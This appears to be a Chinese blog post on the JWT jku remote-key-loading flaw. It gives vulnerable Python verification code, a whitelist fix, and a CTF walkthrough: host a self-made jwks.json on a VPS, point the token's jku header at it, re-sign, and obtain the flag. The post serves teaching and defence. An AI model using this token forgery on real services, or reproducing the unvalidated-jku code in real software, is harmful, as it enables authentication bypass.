jku远程公钥加载

JKU(JWT Set URL)是 JWT 头部的一个扩展字段,作用是指定远程公钥的下载地址,让服务端自动从远程服务器拉取 JWK(JSON Web Key)公钥,完成 JWT 验签。

这是微服务、SSO、第三方授权场景中最常用的自动公钥管理方案,无需手动配置公钥

验签流程

  • 解析 JWT 头部 → 提取 jku + kid(密钥 ID)
  • 调用 jku 地址下载 JWKS
  • 根据 kid 匹配对应公钥
  • 使用公钥验证 JWT 签名

JWT Header结构

{
  "alg": "RS256",    // 非对称加密算法(必须用RSA,不能用HS256)
  "typ": "JWT",
  "jku": "https://your-auth-server/.well-known/jwks.json",  // 远程公钥地址
  "kid": "key-123"   // 公钥唯一标识,用于匹配JWKS中的密钥
}

漏洞出现原因

后端校验的时候通过JKU加载远程公钥,并且没有对远程公钥加载地址进行校验。

这个时候,攻击者把公钥加载的地址改为自己的服务器地址以及部署好公钥,然后用自己的私钥进行签名,这样就可以成功的伪造JWT Token了。

unverified_header = jwt.get_unverified_header(token)
if "jku" in unverified_header:
    import requests
    jku_url = unverified_header["jku"]
    # 安全性提醒:生产中需要严格校验jku来源
    resp = requests.get(jku_url, timeout=3)
    resp.raise_for_status()
    # 假定jku endpoint直接返回JWK Set对象(见RFC 7517与7516)
    jwks = resp.json()
    if "keys" in jwks:
        # 只支持单key情况(可根据kid匹配完善):取第一个即可
         from jwt.algorithms import RSAAlgorithm
         jwk_key = jwks["keys"][0]
         public_key = RSAAlgorithm.from_jwk(jwk_key)
         data = jwt.decode(token, public_key, algorithms=['RS256'])

漏洞修复

  • jku 必须做白名单校验
unverified_header = jwt.get_unverified_header(token)
if "jku" in unverified_header:
    import requests
    jku_url = unverified_header["jku"]
    from urllib.parse import urlparse
    parsed_url = urlparse(jku_url)
    # 白名单判断
    domain_matched = any(parsed_url.netloc == urlparse(safe_url).netloc for safe_url in security_url)
    if not domain_matched:
        raise jwt.InvalidTokenError("JWK Set来源不在白名单内")
    resp = requests.get(jku_url, timeout=3)
    resp.raise_for_status()
    # 假定jku endpoint直接返回JWK Set对象(见RFC 7517与7516)
    jwks = resp.json()
    if "keys" in jwks:
        # 只支持单key情况(可根据kid匹配完善):取第一个即可
         from jwt.algorithms import RSAAlgorithm
         jwk_key = jwks["keys"][0]
         public_key = RSAAlgorithm.from_jwk(jwk_key)
         data = jwt.decode(token, public_key, algorithms=['RS256'])

实战:

创建你的RSA密钥对

使用JWT Editor

img

然后生成,最后点击ok即可。

img

在生成好的密钥对上选择如下操作(jwk是jwt的密钥)

img

复制出来的内容如下所示:

{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "123",
    "n": "6GAJ_naz7p6mdS4v-WqeLpxc_5qqPoXR2ujK-EkitHSCyQ4JEv2CD6nAw1I8HVdBleaW07bMo1wMxSNfsXjXa-r-wGMuC7QcivmvSZ1OXDRvreb4CATF6wBiiALWak0gOR4CvtX3vKCT-c42cjXL8Bs_zGmywLKttsXZAPp1YU143r6xKJdxZgOo2lRcV36iwoonNTwQy8v0evv_U47euDM7Ed124_qauSSTZ6FrMOzh2VfOC4G9LpOsS6Qh5gYNTAEK_Mcu-fSBSo8h9hF0DtFkLd0Gtd5wRA1w6rvHvA5fs39s_zzR5hWV4mUrSX8h0vYD7mZ0Ma6h7qY6lZ8Guw"
}

然后制作一个jwks.json,

{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "123",
      "n": "上一个步骤里的n,也就是你的公钥",
      "e": "AQAB"
    }
  ]
}

每个字段的含义

  • kty:密钥类型,固定写 RSA
  • alg:签名算法,一般写 RS256
  • use:用途,sig \= 签名
  • kid:密钥编号,随便写,唯一就行
  • n:你的公钥核心内容
  • e:公钥指数,一般固定 AQAB

将你制作的jwks.json,放到VPS的一个目录里。

通过python开启一个http服务

python3 -m http.server
#默认开启的是8000

修改数据包

首先获取到你要修改的JWT数据包,修改header

{
    "alg": "RS256",
    "typ": "JWT",
    "jku": "http://ip:8000/jwks.json"
}

img

然后重新签名一下

img

然后Send,成功获取flag

img

posted @ 2026-06-18 12:41  Doll_Marker  阅读(13)  评论(0)    收藏  举报